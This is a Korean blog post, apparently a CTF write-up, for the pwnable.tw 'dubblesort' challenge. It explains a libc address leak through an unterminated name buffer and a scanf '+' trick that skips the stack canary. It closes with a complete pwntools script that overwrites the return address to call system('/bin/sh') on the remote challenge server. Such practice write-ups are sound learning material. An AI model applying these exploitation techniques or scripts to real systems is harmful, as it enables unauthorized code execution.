ghkdtlwns987

[pwnable.tw] dubblesort 본문

pwnable.tw

[pwnable.tw] dubblesort

2020/03/31 2020. 11. 22. 22:46

ㅎㄷㄷ... 다 걸려있디.

 

한번 어떨지 분석해보자.

undefined4 main(void)

{
  undefined4 uVar1;
  uint uVar2;
  undefined4 *puVar3;
  int in_GS_OFFSET;
  uint local_78;
  undefined4 local_74 [8];
  undefined local_54 [64];
  int local_14;
  
  local_14 = *(int *)(in_GS_OFFSET + 0x14);
  FUN_000108b5();
  __printf_chk(1,"What your name :");
  read(0,local_54,0x40);
  __printf_chk(1,"Hello %s,How many numbers do you what to sort :",local_54);
  __isoc99_scanf(&DAT_00010bfa,&local_78);
  if (local_78 != 0) {
    puVar3 = local_74;
    uVar2 = 0;
    do {
      __printf_chk(1,"Enter the %d number : ",uVar2);
      fflush(stdout);
      __isoc99_scanf(&DAT_00010bfa,puVar3);
      uVar2 = uVar2 + 1;
      puVar3 = puVar3 + 1;
    } while (uVar2 < local_78);
  }
  FUN_00010931(local_74,local_78);
  puts("Result :");
  if (local_78 != 0) {
    uVar2 = 0;
    do {
      __printf_chk(1,&DAT_00010c1d,local_74[uVar2]);
      uVar2 = uVar2 + 1;
    } while (uVar2 < local_78);
  }
  uVar1 = 0;
  if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
    uVar1 = FUN_00010ba0();
  }
  return uVar1;
}

여기서 __printf_chk() 함수와 FUN_10931 함수를 잘 봐야 된다. 

PIE 가 걸려있어 분석이 안된다..

다음을 보면 esp+4 부분에 esi(buf) 가 들어있다. __printf_chk() 함수는 %s로 출력해주기 때문에, 

buf 에 들어있는 값을 출력할 수 있을 것이다. 

 

난 분석하는걸 싫어해서 printf_chk() 함수가 종료되고 입력을 받고 bp 를 걸어서 esp 의 상태를 확인해 봤다. 

그 결과는 다음과 같다

총 16byte 를 입력해주고 stack 의 상태를 봤는데, 0xf7fb4000 의 주소가 들어있었다. 

그리고 printf_chk() 함수를 보면 %s 로 출력해주기 때문에, 이를 통해 leak 할 수 있다.

20byte~24byte 를 넣어주면 libc_leak 이 가능할 것으로 보인다. 

 

+ 추가로 libc_leak 이 가능한데, 0xf7fb4000 이 libc_base 주소가 아니다. 

libc 의 맨 처음 시작 주소가 0xf7ddc000 이다.

내가 leak 한 주소부터  0xf7ddc000 을 빼주면 0x1d8000 이 계산된다.

(이는 로컬 환경이라서 조금 다르다.) 설명을 해야하기 때문에, local 에서 보도록 하겠다.

 

 

다음을 보면 .got.plt 위치를 가리키고 있다. 

 

이를 ./libc_32.so.6 에서 동일한 주소를 확힌해보도록 하자.

다음을 보면 0x1b0000 영역에 위치한 것을 볼 수 있다.

그런데, 0xf7fb4000 에서 마지막 \n 때문에 0xf7fb400a 가 되었기 때문에, leak 할 때 0xa를 빼주어야 한다.

그럼 libc_leak 이 성공적으로 되었다.

 

 

다음으로 넘거가자. 우린 return addr 에 system('/bin/sh')를 넣어주어야 한다.

다음 코드를 보면 Hello ~ 어쩌고 출력이 되고, 

scanf("%u") 로 입력을 받는데, 

scanf() 함수에서 지정된 서식문자 외의 문자를 입력 받으면 프로그램이 종료된다는 특성을 이용할 것이다. 

이런느낌?

 

=> 여기서 좀 많이 헷갈렸던게, + , . 과 같은 문자는 그대로 입력되었다.

 

그렇다면 나는 + 를 넣어주어 exploit 할 건데,

여기서 canary 가 신경이 쓰일 것이다.

 

잠시 후에 프로그램을 보겠지만 우리는 canary 를 leak 한다던디, canary 를 덮어쓰는 행위를 하지 않을 것이다.

(굳이 필요가 없다.)

 

다음을 보면 1을 입력해 주었고, 마지막에 +(0x2b)가 입력된 모습니다.

 

다음은 값이 모두 입력되었고, sorting...이후에 system() 주소와 /bin/sh 의 주소가 들어간 모습이다. 

 

local 환경

 

remote 환경

 

성공!

from pwn import*
import argparse
context(arch='i386',os='linux')
context.log_level = 'debug'
#context.terminal = ['tmux','splitw','-h']

parser = argparse.ArgumentParser()
parser.add_argument('-r','--remote',action = 'store_true',help = '-r -> remote')

args = parser.parse_args()

host = 'chall.pwnable.tw'
port = 10101

elf = ELF('./dubblesort')

def info_bp():
    log.info('first : b * main + 62')
    log.info('second : b * main + 133')
    log.info('input : b * main + 210')
    log.info('input_complete : b * main + 229')
    log.info('sorting function : b * main + 240')

def remote_exploit():
    r.sendlineafter('name :','A'*24)
    r.recvuntil('A'*24)
    libc_base = u32(r.recv(4)) - 0xa
    
    libc_base = libc_base - 0x1b0000
    system_addr = libc_base + libc.symbols['system']
    binsh_addr =  libc_base + list(libc.search('/bin/sh'))[0]
  
    log.info('libc_base = '+hex(libc_base))
    log.info('system_addr = '+hex(system_addr))
    log.info('/bin/sh     = '+hex(binsh_addr))

    r.sendlineafter('sort :',str(35))
    r.recv()

    for i in range(24):
        r.sendline('1')
        r.recv()
    r.sendline('+')

    for i in range(9):
        r.sendline(str(system_addr))
    r.sendline(str(binsh_addr))
    r.recv()

    r.interactive()

def local_exploit():
    info_bp()
    r.sendlineafter('name :','A'*24)
    r.recvuntil('A'*24)
    libc_base = u32(r.recv(4)) - 0xa

    libc_base = libc_base - 0x1d8000
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + list(libc.search('/bin/sh'))[0]

    log.info('libc_base = '+hex(libc_base))
    log.info('system_addr = '+hex(system_addr))
    log.info('/bin/sh     = '+hex(binsh_addr))

    r.sendlineafter('sort :',str(35))
    r.recv()

    for i in range(24):
        r.sendline('1')
        r.recv()
    r.sendline('+')

    for i in range(9):
        r.sendline(str(system_addr))
    r.sendline(str(binsh_addr))
    r.recv()

    r.interactive()

if args.remote:
    r = remote(host,port)
    libc = ELF('./libc_32.so.6')
    remote_exploit()
else:
    r = process('./dubblesort')
    elf = ELF('./dubblesort')
    libc = elf.libc
    gdb.attach(r)
    local_exploit()

 

'pwnable.tw' 카테고리의 다른 글

[pwnable.tw] silver_bullet  (0) 2020.12.24
[pwnable.tw] hacknote  (0) 2020.12.07
[pwnable.tw] 3x17  (0) 2020.11.20
[pwnable.tw] calc  (0) 2020.11.18
[pwnable.tw] orw  (0) 2020.11.16
Comments